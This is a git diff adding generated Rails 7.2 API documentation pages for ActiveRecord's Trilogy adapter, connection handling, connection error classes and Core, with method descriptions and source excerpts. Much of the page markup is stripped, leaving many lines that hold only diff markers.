+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 51
+      def rollback!
+        @children&.each { |c| c.rollback! }
+        @state = :rolledback
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + rolledback?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/abstract/transaction.rb, line 31
+      def rolledback?
+        @state == :rolledback || @state == :fully_rolledback
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Trilogy.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Trilogy.html new file mode 100644 index 0000000000..bfff2d9913 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Trilogy.html @@ -0,0 +1,69 @@ +--- +title: ActiveRecord::ConnectionAdapters::Trilogy +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/Trilogy/DatabaseStatements.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Trilogy/DatabaseStatements.html new file mode 100644 index 0000000000..d33772f5f7 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/Trilogy/DatabaseStatements.html @@ -0,0 +1,54 @@ +--- +title: ActiveRecord::ConnectionAdapters::Trilogy::DatabaseStatements +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionAdapters/TrilogyAdapter.html b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TrilogyAdapter.html new file mode 100644 index 0000000000..bcfe9fbf15 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionAdapters/TrilogyAdapter.html @@ -0,0 +1,728 @@ +--- +title: ActiveRecord::ConnectionAdapters::TrilogyAdapter +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ADAPTER_NAME="Trilogy"
ER_ACCESS_DENIED_ERROR=1045
ER_BAD_DB_ERROR=1049
ER_DBACCESS_DENIED_ERROR=1044
SSL_MODES={ +SSL_MODE_DISABLED: ::Trilogy::SSL_DISABLED, +SSL_MODE_PREFERRED: ::Trilogy::SSL_PREFERRED_NOVERIFY, +SSL_MODE_REQUIRED: ::Trilogy::SSL_REQUIRED_NOVERIFY, +SSL_MODE_VERIFY_CA: ::Trilogy::SSL_VERIFY_CA, +SSL_MODE_VERIFY_IDENTITY: ::Trilogy::SSL_VERIFY_IDENTITY +}.freeze
TYPE_MAP=Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+ + + + + + +

Class Public methods

+ +
+

+ + new(config, *) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 75
+      def initialize(config, *)
+        config = config.dup
+
+        # Trilogy ignores `socket` if `host is set. We want the opposite to allow
+        # configuring UNIX domain sockets via `DATABASE_URL`.
+        config.delete(:host) if config[:socket]
+
+        # Set FOUND_ROWS capability on the connection so UPDATE queries returns number of rows
+        # matched rather than number of rows updated.
+        config[:found_rows] = true
+
+        if config[:prepared_statements]
+          raise ArgumentError, "Trilogy currently doesn't support prepared statements. Remove `prepared_statements: true` from your database configuration."
+        end
+
+        super
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new_client(config) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 30
+        def new_client(config)
+          config[:ssl_mode] = parse_ssl_mode(config[:ssl_mode]) if config[:ssl_mode]
+          ::Trilogy.new(config)
+        rescue ::Trilogy::Error => error
+          raise translate_connect_error(config, error)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parse_ssl_mode(mode) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 37
+        def parse_ssl_mode(mode)
+          return mode if mode.is_a? Integer
+
+          m = mode.to_s.upcase
+          m = "SSL_MODE_#{m}" unless m.start_with? "SSL_MODE_"
+
+          SSL_MODES.fetch(m.to_sym, mode)
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + translate_connect_error(config, error) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 46
+        def translate_connect_error(config, error)
+          case error.error_code
+          when ER_DBACCESS_DENIED_ERROR, ER_BAD_DB_ERROR
+            ActiveRecord::NoDatabaseError.db_error(config[:database])
+          when ER_ACCESS_DENIED_ERROR
+            ActiveRecord::DatabaseConnectionError.username_error(config[:username])
+          else
+            if error.message.include?("TRILOGY_DNS_ERROR")
+              ActiveRecord::DatabaseConnectionError.hostname_error(config[:host])
+            else
+              ActiveRecord::ConnectionNotEstablished.new(error.message)
+            end
+          end
+        end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + active?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 123
+      def active?
+        connected? && @lock.synchronize { @raw_connection&.ping } || false
+      rescue ::Trilogy::Error
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 119
+      def connected?
+        !(@raw_connection.nil? || @raw_connection.closed?)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + discard!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 139
+      def discard!
+        @lock.synchronize do
+          super
+          @raw_connection&.discard!
+          @raw_connection = nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + disconnect!() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 131
+      def disconnect!
+        @lock.synchronize do
+          super
+          @raw_connection&.close
+          @raw_connection = nil
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + savepoint_errors_invalidate_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 111
+      def savepoint_errors_invalidate_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 99
+      def supports_comments?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_comments_in_create?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 103
+      def supports_comments_in_create?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_json?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 95
+      def supports_json?
+        !mariadb? && database_version >= "5.7.8"
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_lazy_transactions?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 115
+      def supports_lazy_transactions?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + supports_savepoints?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_adapters/trilogy_adapter.rb, line 107
+      def supports_savepoints?
+        true
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionFailed.html b/src/7.2/classes/ActiveRecord/ConnectionFailed.html new file mode 100644 index 0000000000..ae4b295898 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionFailed.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ConnectionFailed +layout: default +--- +
+ +
+
+ +
+ +

ConnectionFailed will be raised when the network connection to the database fails while sending a query or waiting for its result.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionHandling.html b/src/7.2/classes/ActiveRecord/ConnectionHandling.html new file mode 100644 index 0000000000..5eed456be0 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionHandling.html @@ -0,0 +1,1101 @@ +--- +title: ActiveRecord::ConnectionHandling +layout: default +--- +
+ +
+
+ +
+ +

Active Record Connection Handling

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
DEFAULT_ENV=-> { RAILS_ENV.call || "default_env" }
RAILS_ENV=-> { (Rails.env if defined?(Rails.env)) || ENV["RAILS_ENV"].presence || ENV["RACK_ENV"].presence }
+ + + + +

Attributes

+ + + + + + + + +
+ [W] + connection_specification_name
+ + + + + +

Instance Public methods

+ +
+

+ + clear_query_caches_for_current_thread() + +

+ + +
+

Clears the query cache for all connections associated with the current thread.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 244
+    def clear_query_caches_for_current_thread
+      connection_handler.each_connection_pool do |pool|
+        pool.clear_query_cache
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected?() + +

+ + +
+

Returns true if Active Record is connected.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 337
+    def connected?
+      connection_handler.connected?(connection_specification_name, role: current_role, shard: current_shard)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected_to(role: nil, shard: nil, prevent_writes: false, &blk) + +

+ + +
+

Connects to a role (e.g. writing, reading, or a custom role) and/or shard for the duration of the block. At the end of the block the connection will be returned to the original role / shard.

+ +

If only a role is passed, Active Record will look up the connection based on the requested role. If a non-established role is requested an ActiveRecord::ConnectionNotEstablished error will be raised:

+ +
ActiveRecord::Base.connected_to(role: :writing) do
+  Dog.create! # creates dog using dog writing connection
+end
+
+ActiveRecord::Base.connected_to(role: :reading) do
+  Dog.create! # throws exception because we're on a replica
+end
+
+ +

When swapping to a shard, the role must be passed as well. If a non-existent shard is passed, an ActiveRecord::ConnectionNotEstablished error will be raised.

+ +

When a shard and role is passed, Active Record will first lookup the role, and then look up the connection by shard key.

+ +
ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one_replica) do
+  Dog.first # finds first Dog record stored on the shard one replica
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 134
+    def connected_to(role: nil, shard: nil, prevent_writes: false, &blk)
+      if self != Base && !abstract_class
+        raise NotImplementedError, "calling `connected_to` is only allowed on ActiveRecord::Base or abstract classes."
+      end
+
+      if !connection_class? && !primary_class?
+        raise NotImplementedError, "calling `connected_to` is only allowed on the abstract class that established the connection."
+      end
+
+      unless role || shard
+        raise ArgumentError, "must provide a `shard` and/or `role`."
+      end
+
+      with_role_and_shard(role, shard, prevent_writes, &blk)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected_to?(role:, shard: ActiveRecord::Base.default_shard) + +

+ + +
+

Returns true if role is the current connected role and/or current connected shard. If no shard is passed, the default will be used.

+ +
ActiveRecord::Base.connected_to(role: :writing) do
+  ActiveRecord::Base.connected_to?(role: :writing) #=> true
+  ActiveRecord::Base.connected_to?(role: :reading) #=> false
+end
+
+ActiveRecord::Base.connected_to(role: :reading, shard: :shard_one) do
+  ActiveRecord::Base.connected_to?(role: :reading, shard: :shard_one) #=> true
+  ActiveRecord::Base.connected_to?(role: :reading, shard: :default) #=> false
+  ActiveRecord::Base.connected_to?(role: :writing, shard: :shard_one) #=> true
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 239
+    def connected_to?(role:, shard: ActiveRecord::Base.default_shard)
+      current_role == role.to_sym && current_shard == shard.to_sym
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connected_to_many(*classes, role:, shard: nil, prevent_writes: false) + +

+ + +
+

Connects a role and/or shard to the provided connection names. Optionally prevent_writes can be passed to block writes on a connection. reading will automatically set prevent_writes to true.

+ +

connected_to_many is an alternative to deeply nested connected_to blocks.

+ +

Usage:

+ +
ActiveRecord::Base.connected_to_many(AnimalsRecord, MealsRecord, role: :reading) do
+  Dog.first # Read from animals replica
+  Dinner.first # Read from meals replica
+  Person.first # Read from primary writer
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 163
+    def connected_to_many(*classes, role:, shard: nil, prevent_writes: false)
+      classes = classes.flatten
+
+      if self != Base || classes.include?(Base)
+        raise NotImplementedError, "connected_to_many can only be called on ActiveRecord::Base."
+      end
+
+      prevent_writes = true if role == ActiveRecord.reading_role
+
+      append_to_connected_to_stack(role: role, shard: shard, prevent_writes: prevent_writes, klasses: classes)
+      yield
+    ensure
+      connected_to_stack.pop
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connecting_to(role: default_role, shard: default_shard, prevent_writes: false) + +

+ + +
+

Use a specified connection.

+ +

This method is useful for ensuring that a specific connection is being used. For example, when booting a console in readonly mode.

+ +

It is not recommended to use this method in a request since it does not yield to a block like connected_to.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 185
+    def connecting_to(role: default_role, shard: default_shard, prevent_writes: false)
+      prevent_writes = true if role == ActiveRecord.reading_role
+
+      append_to_connected_to_stack(role: role, shard: shard, prevent_writes: prevent_writes, klasses: [self])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection() + +

+ + +
+

Soft deprecated. Use #with_connection or #lease_connection instead.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 260
+    def connection
+      pool = connection_pool
+      if pool.permanent_lease?
+        case ActiveRecord.permanent_connection_checkout
+        when :deprecated
+          ActiveRecord.deprecator.warn <<~MESSAGE
+            Called deprecated `ActiveRecord::Base.connection` method.
+
+            Either use `with_connection` or `lease_connection`.
+          MESSAGE
+        when :disallowed
+          raise ActiveRecordError, <<~MESSAGE
+            Called deprecated `ActiveRecord::Base.connection` method.
+
+            Either use `with_connection` or `lease_connection`.
+          MESSAGE
+        end
+        pool.lease_connection
+      else
+        pool.active_connection
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_db_config() + +

+ + +
+

Returns the db_config object from the associated connection:

+ +
ActiveRecord::Base.connection_db_config
+  #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbded10 @env_name="development",
+    @name="primary", @config={pool: 5, timeout: 5000, database: "storage/development.sqlite3", adapter: "sqlite3"}>
+
+ +

Use only for reading.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 320
+    def connection_db_config
+      connection_pool.db_config
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_pool() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 328
+    def connection_pool
+      connection_handler.retrieve_connection_pool(connection_specification_name, role: current_role, shard: current_shard, strict: true)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_specification_name() + +

+ + +
+

Returns the connection specification name from the current class or its parent.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 302
+    def connection_specification_name
+      if @connection_specification_name.nil?
+        return self == Base ? Base.name : superclass.connection_specification_name
+      end
+      @connection_specification_name
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connects_to(database: {}, shards: {}) + +

+ + +
+

Connects a model to the databases specified. The database keyword takes a hash consisting of a role and a database_key.

+ +

This will look up the database config using the database_key and establish a connection to that config.

+ +
class AnimalsModel < ApplicationRecord
+  self.abstract_class = true
+
+  connects_to database: { writing: :primary, reading: :primary_replica }
+end
+
+ +

connects_to also supports horizontal sharding. The horizontal sharding API supports read replicas as well. You can connect a model to a list of shards like this:

+ +
class AnimalsModel < ApplicationRecord
+  self.abstract_class = true
+
+  connects_to shards: {
+    default: { writing: :primary, reading: :primary_replica },
+    shard_two: { writing: :primary_shard_two, reading: :primary_shard_replica_two }
+  }
+end
+
+ +

Returns an array of database connections.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 81
+    def connects_to(database: {}, shards: {})
+      raise NotImplementedError, "`connects_to` can only be called on ActiveRecord::Base or abstract classes" unless self == Base || abstract_class?
+
+      if database.present? && shards.present?
+        raise ArgumentError, "`connects_to` can only accept a `database` or `shards` argument, but not both arguments."
+      end
+
+      connections = []
+
+      if shards.empty?
+        shards[:default] = database
+      end
+
+      self.default_shard = shards.keys.first
+
+      shards.each do |shard, database_keys|
+        database_keys.each do |role, database_key|
+          db_config = resolve_config_for_connection(database_key)
+
+          self.connection_class = true
+          connections << connection_handler.establish_connection(db_config, owner_name: self, role: role, shard: shard.to_sym)
+        end
+      end
+
+      connections
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + establish_connection(config_or_env = nil) + +

+ + +
+

Establishes the connection to the database. Accepts a hash as input where the :adapter key must be specified with the name of a database adapter (in lower-case) example for regular databases (MySQL, PostgreSQL, etc):

+ +
ActiveRecord::Base.establish_connection(
+  adapter:  "mysql2",
+  host:     "localhost",
+  username: "myuser",
+  password: "mypass",
+  database: "somedatabase"
+)
+
+ +

Example for SQLite database:

+ +
ActiveRecord::Base.establish_connection(
+  adapter:  "sqlite3",
+  database: "path/to/dbfile"
+)
+
+ +

Also accepts keys as strings (for parsing from YAML for example):

+ +
ActiveRecord::Base.establish_connection(
+  "adapter"  => "sqlite3",
+  "database" => "path/to/dbfile"
+)
+
+ +

Or a URL:

+ +
ActiveRecord::Base.establish_connection(
+  "postgres://myuser:mypass@localhost/somedatabase"
+)
+
+ +

In case ActiveRecord::Base.configurations is set (Rails automatically loads the contents of config/database.yml into it), a symbol can also be given as argument, representing a key in the configuration hash:

+ +
ActiveRecord::Base.establish_connection(:production)
+
+ +

The exceptions AdapterNotSpecified, AdapterNotFound, and ArgumentError may be returned on an error.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 50
+    def establish_connection(config_or_env = nil)
+      config_or_env ||= DEFAULT_ENV.call.to_sym
+      db_config = resolve_config_for_connection(config_or_env)
+      connection_handler.establish_connection(db_config, owner_name: self, role: current_role, shard: current_shard)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + lease_connection() + +

+ + +
+

Returns the connection currently associated with the class. This can also be used to β€œborrow” the connection to do database work unrelated to any of the specific Active Records. The connection will remain leased for the entire duration of the request or job, or until #release_connection is called.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 255
+    def lease_connection
+      connection_pool.lease_connection
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + prohibit_shard_swapping(enabled = true) + +

+ + +
+

Prohibit swapping shards while inside of the passed block.

+ +

In some cases you may want to be able to swap shards but not allow a nested call to connected_to or connected_to_many to swap again. This is useful in cases you’re using sharding to provide per-request database isolation.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 197
+    def prohibit_shard_swapping(enabled = true)
+      prev_value = ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping]
+      ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping] = enabled
+      yield
+    ensure
+      ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping] = prev_value
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + release_connection() + +

+ + +
+

Return the currently leased connection into the pool

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 284
+    def release_connection
+      connection_pool.release_connection
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove_connection() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 341
+    def remove_connection
+      name = @connection_specification_name if defined?(@connection_specification_name)
+
+      # if removing a connection that has a pool, we reset the
+      # connection_specification_name so it will use the parent
+      # pool.
+      if connection_handler.retrieve_connection_pool(name, role: current_role, shard: current_shard)
+        self.connection_specification_name = nil
+      end
+
+      connection_handler.remove_connection_pool(name, role: current_role, shard: current_shard)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + retrieve_connection() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 332
+    def retrieve_connection
+      connection_handler.retrieve_connection(connection_specification_name, role: current_role, shard: current_shard)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + shard_swapping_prohibited?() + +

+ + +
+

Determine whether or not shard swapping is currently prohibited

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 206
+    def shard_swapping_prohibited?
+      ActiveSupport::IsolatedExecutionState[:active_record_prohibit_shard_swapping]
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + while_preventing_writes(enabled = true, &block) + +

+ + +
+

Prevent writing to the database regardless of role.

+ +

In some cases you may want to prevent writes to the database even if you are on a database that can write. while_preventing_writes will prevent writes to the database for the duration of the block.

+ +

This method does not provide the same protection as a readonly user and is meant to be a safeguard against accidental writes.

+ +

See READ_QUERY for the queries that are blocked by this method.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 221
+    def while_preventing_writes(enabled = true, &block)
+      connected_to(role: current_role, prevent_writes: enabled, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + with_connection(prevent_permanent_checkout: false, &block) + +

+ + +
+

Checkouts a connection from the pool, yield it and then check it back in. If a connection was already leased via lease_connection or a parent call to with_connection, that same connection is yieled. If lease_connection is called inside the block, the connection won’t be checked back in. If connection is called inside the block, the connection won’t be checked back in unless the prevent_permanent_checkout argument is set to true.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/connection_handling.rb, line 295
+    def with_connection(prevent_permanent_checkout: false, &block)
+      connection_pool.with_connection(prevent_permanent_checkout: prevent_permanent_checkout, &block)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionNotEstablished.html b/src/7.2/classes/ActiveRecord/ConnectionNotEstablished.html new file mode 100644 index 0000000000..87df108ad6 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionNotEstablished.html @@ -0,0 +1,159 @@ +--- +title: ActiveRecord::ConnectionNotEstablished +layout: default +--- +
+ +
+
+ +
+ +

Raised when connection to the database could not been established (for example when ActiveRecord::Base.lease_connection= is given a nil object).

+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(message = nil, connection_pool: nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 68
+    def initialize(message = nil, connection_pool: nil)
+      super(message, connection_pool: connection_pool)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + set_pool(connection_pool) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/errors.rb, line 72
+    def set_pool(connection_pool)
+      unless @connection_pool
+        @connection_pool = connection_pool
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/ConnectionTimeoutError.html b/src/7.2/classes/ActiveRecord/ConnectionTimeoutError.html new file mode 100644 index 0000000000..477406d71c --- /dev/null +++ b/src/7.2/classes/ActiveRecord/ConnectionTimeoutError.html @@ -0,0 +1,66 @@ +--- +title: ActiveRecord::ConnectionTimeoutError +layout: default +--- +
+ +
+
+ +
+ +

Raised when a connection could not be obtained within the connection acquisition timeout period: because max connections in pool are in use.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord/Core.html b/src/7.2/classes/ActiveRecord/Core.html new file mode 100644 index 0000000000..1c001e0fd9 --- /dev/null +++ b/src/7.2/classes/ActiveRecord/Core.html @@ -0,0 +1,1648 @@ +--- +title: ActiveRecord::Core +layout: default +--- +
+ +
+
+ +
+ +

Active Record Core

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + strict_loading_mode
+ + + + +

Class Public methods

+ +
+

+ + attributes_for_inspect + +

+ + +
+

Specifies the attributes that will be included in the output of the inspect method:

+ +
Post.attributes_for_inspect = [:id, :title]
+Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!">"
+
+ +

When set to β€˜:all` inspect will list all the record’s attributes:

+ +
Post.attributes_for_inspect = :all
+Post.first.inspect #=> "#<Post id: 1, title: "Hello, World!", published_at: "2023-10-23 14:28:11 +0000">"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 118
+      class_attribute :attributes_for_inspect, instance_accessor: false, default: :all
+
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configurations() + +

+ + +
+

Returns a fully resolved ActiveRecord::DatabaseConfigurations object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 77
+      def self.configurations
+        @@configurations
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + configurations=(config) + +

+ + +
+

Contains the database configuration - as is typically stored in config/database.yml - as an ActiveRecord::DatabaseConfigurations object.

+ +

For example, the following database.yml…

+ +
development:
+  adapter: sqlite3
+  database: storage/development.sqlite3
+
+production:
+  adapter: sqlite3
+  database: storage/production.sqlite3
+
+ +

…would result in ActiveRecord::Base.configurations to look like this:

+ +
#<ActiveRecord::DatabaseConfigurations:0x00007fd1acbdf800 @configurations=[
+  #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbded10 @env_name="development",
+    @name="primary", @config={adapter: "sqlite3", database: "storage/development.sqlite3"}>,
+  #<ActiveRecord::DatabaseConfigurations::HashConfig:0x00007fd1acbdea90 @env_name="production",
+    @name="primary", @config={adapter: "sqlite3", database: "storage/production.sqlite3"}>
+]>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 71
+      def self.configurations=(config)
+        @@configurations = ActiveRecord::DatabaseConfigurations.new(config)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_handler() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 132
+      def self.connection_handler
+        ActiveSupport::IsolatedExecutionState[:active_record_connection_handler] || default_connection_handler
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + connection_handler=(handler) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 136
+      def self.connection_handler=(handler)
+        ActiveSupport::IsolatedExecutionState[:active_record_connection_handler] = handler
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_preventing_writes() + +

+ + +
+

Returns the symbol representing the current setting for preventing writes.

+ +
ActiveRecord::Base.connected_to(role: :reading) do
+  ActiveRecord::Base.current_preventing_writes #=> true
+end
+
+ActiveRecord::Base.connected_to(role: :writing) do
+  ActiveRecord::Base.current_preventing_writes #=> false
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activerecord/lib/active_record/core.rb, line 195
+      def self.current_preventing_writes
+        connected_to_stack.reverse_each do |hash|
+          return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(Base)
+          return hash[:prevent_writes] if !hash[:prevent_writes].nil? && hash[:klasses].include?(connection_class_for_self)
+        end
+
+        false
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + current_role() + +

+ + +
+

Returns the symbol representing the current connected role.

+ +
ActiveRecord::Base.connected_to(role: :writing) do
+  ActiveRecord::Base.current_role #=> :writing
+end
+
+ActiveRecord::Base.connected_to(role: :reading) do
